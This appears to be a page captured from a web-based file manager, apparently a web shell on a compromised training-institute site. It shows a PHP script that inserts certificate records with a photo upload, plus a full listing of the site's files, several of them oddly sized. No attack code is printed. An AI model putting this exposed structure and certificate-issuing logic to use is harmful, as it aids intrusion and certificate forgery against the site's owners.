File Manager

✏️ icate-data.php

<?php
include '../connection.php';
include 'auth.php';
include 'header.php';
include 'sidebar.php';

/* ---------- BASIC VALIDATION ---------- */
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
    die("Invalid Access");
}

if (empty($_POST['certno']) || empty($_POST['registration_no']) || empty($_POST['issue'])) {
    die("Certificate No, Registration No and Issue Date are required");
}

/* ---------- ASSIGN VARIABLES ---------- */
$certno          = $_POST['certno'];
$registration_no = $_POST['registration_no'];
$name            = $_POST['name'];
$fname           = $_POST['fname'];
$dob             = $_POST['dob'];
$course          = $_POST['course'];
$session         = $_POST['session'];
$issue           = $_POST['issue'];
$grade           = $_POST['grade'] ?? null;

/* ---------- IMAGE UPLOAD ---------- */
$pic_name = null;

if (!empty($_FILES['pic']['name'])) {

$ext = pathinfo($_FILES['pic']['name'], PATHINFO_EXTENSION);
    $allowed = ['jpg', 'jpeg', 'png', 'webp'];

if (!in_array(strtolower($ext), $allowed)) {
        die("Invalid image format");
    }

if (!is_dir("uploads/certificates")) {
        mkdir("uploads/certificates", 0777, true);
    }

$pic_name = "cert_" . time() . "_" . rand(100,999) . "." . $ext;
    $uploadPath = "uploads/certificates/" . $pic_name;

if (!move_uploaded_file($_FILES['pic']['tmp_name'], $uploadPath)) {
        die("Image upload failed");
    }
}

/* ---------- INSERT DATA ---------- */
$stmt = $conn->prepare("
    INSERT INTO certificates
    (certno, registration_no, name, fname, dob, course, session, issue, grade, pic)
    VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
");

$stmt->bind_param(
    "ssssssssss",
    $certno,
    $registration_no,
    $name,
    $fname,
    $dob,
    $course,
    $session,
    $issue,
    $grade,
    $pic_name
);

if ($stmt->execute()) {
    header("Location: create-certificates.php?added=1");
    exit();
} else {
    echo "Error: " . $stmt->error;
}

Batal

61 item

Nama	Tipe	Ukuran	Diubah	Aksi
📁.vs	dir	—	2026-07-07 12:59	📂 Buka
📁Admin	dir	—	2026-09-08 09:13	📂 Buka
📁App_Code	dir	—	2026-07-07 12:59	📂 Buka
📁aspnet_client	dir	—	2023-11-09 01:51	📂 Buka
📁assets	dir	—	2026-10-06 05:48	📂 Buka
📁bin	dir	—	2026-07-07 12:58	📂 Buka
📁bower_components	dir	—	2026-03-18 12:21	📂 Buka
📁dist	dir	—	2026-03-18 12:21	📂 Buka
📁images	dir	—	2026-07-07 12:59	📂 Buka
📁momentpart	dir	—	2026-09-24 08:10	📂 Buka
📁moments	dir	—	2026-09-24 09:33	📂 Buka
📁tinymce	dir	—	2026-03-18 12:22	📂 Buka
📁uploads	dir	—	2026-09-13 20:40	📂 Buka
📁vendor	dir	—	2026-10-05 06:08	📂 Buka
📁video	dir	—	2026-10-05 06:08	📂 Buka
📄.htaccess	htaccess	63 B	2026-05-19 07:27	✏️ 👁️
🐘403.php	php	95.1 KB	2026-10-06 05:21	✏️ 👁️
🐘about.php	php	16.4 KB	2026-10-06 05:21	✏️ 👁️
🐘add-to-index.php	php	1.3 KB	2026-10-06 05:21	✏️ 👁️
🐘admin-place.php	php	51.1 KB	2026-10-06 05:21	✏️ 👁️
🐘admin-placement.php	php	6.7 KB	2026-10-06 05:21	✏️ 👁️
🐘admission.php	php	3.2 KB	2026-10-06 05:21	✏️ 👁️
🐘affiliation.php	php	6.6 KB	2026-10-06 05:21	✏️ 👁️
🐘attestation.php	php	2.5 KB	2026-10-06 05:21	✏️ 👁️
🐘auth.php	php	126 B	2026-10-06 05:21	✏️ 👁️
🐘branches.php	php	1.7 KB	2026-10-06 05:21	✏️ 👁️
🐘cetificate_verify.php	php	1.6 KB	2026-10-06 05:21	✏️ 👁️
🐘config.php	php	565.7 KB	2026-10-06 05:21	✏️ 👁️
🐘connection.php	php	258 B	2026-10-06 05:21	✏️ 👁️
🐘contact.php	php	6.5 KB	2026-10-05 07:44	✏️ 👁️
🐘create-certificates.php	php	23.8 KB	2026-10-06 05:21	✏️ 👁️
🐘delete-admission.php	php	172 B	2026-10-06 05:21	✏️ 👁️
🐘delete-certificate-data.php	php	197 B	2026-10-06 05:21	✏️ 👁️
🐘delete-certificate.php	php	194 B	2026-10-06 05:21	✏️ 👁️
🐘delete-enquiry.php	php	207 B	2026-10-06 05:21	✏️ 👁️
🐘delete-placement.php	php	297 B	2026-10-06 05:21	✏️ 👁️
🐘director-desk.php	php	2.6 KB	2026-10-06 05:21	✏️ 👁️
🐘edit-certificate-data.php	php	6 KB	2026-10-06 05:21	✏️ 👁️
🐘edit-certificate.php	php	3 KB	2026-10-06 05:21	✏️ 👁️
🐘engineering-courses.php	php	25.8 KB	2026-10-06 05:21	✏️ 👁️
🐘enquiry.php	php	3.9 KB	2026-10-06 05:21	✏️ 👁️
🐘faq.php	php	7.5 KB	2026-10-06 05:21	✏️ 👁️
🐘fetch-certificate.php	php	191 B	2026-10-06 05:21	✏️ 👁️
🐘footer.php	php	9.3 KB	2026-10-06 05:21	✏️ 👁️
🐘franchise.php	php	3.5 KB	2026-10-06 05:21	✏️ 👁️
🐘header.php	php	10 KB	2026-10-06 05:21	✏️ 👁️
🐘index.php	php	33.9 KB	2026-10-06 05:21	✏️ 👁️
🐘insert-certificate-data.php	php	2 KB	2026-10-06 05:21	✏️ 👁️
🐘insert-certificate.php	php	428 B	2026-10-06 05:21	✏️ 👁️
🐘insert-placement.php	php	1.1 KB	2026-10-06 05:21	✏️ 👁️
🐘iosh-courses.php	php	5.3 KB	2026-10-06 05:21	✏️ 👁️
🗜️jitiweb.zip	zip	2.2 GB	2026-10-05 05:47	✏️ 👁️
🐘lancar.php	php	7 KB	2026-10-06 05:22	✏️ 👁️
🐘logout.php	php	90 B	2026-10-06 05:22	✏️ 👁️
🖼️main-banner2.jpg	jpg	7.8 KB	2026-10-06 05:22	✏️ 👁️
🖼️main-banner4.jpg	jpg	203 KB	2026-10-06 05:22	✏️ 👁️
🐘placement.php	php	1.5 KB	2026-10-06 05:22	✏️ 👁️
🐘safety-courses.php	php	28.2 KB	2026-10-06 05:22	✏️ 👁️
🐘technical-trades-courses.php	php	37.3 KB	2026-10-06 05:22	✏️ 👁️
🐘verification.php	php	9.4 KB	2026-10-06 05:22	✏️ 👁️
📄web.config	config	429 B	2026-10-06 05:22	✏️ 👁️

✏️ Rename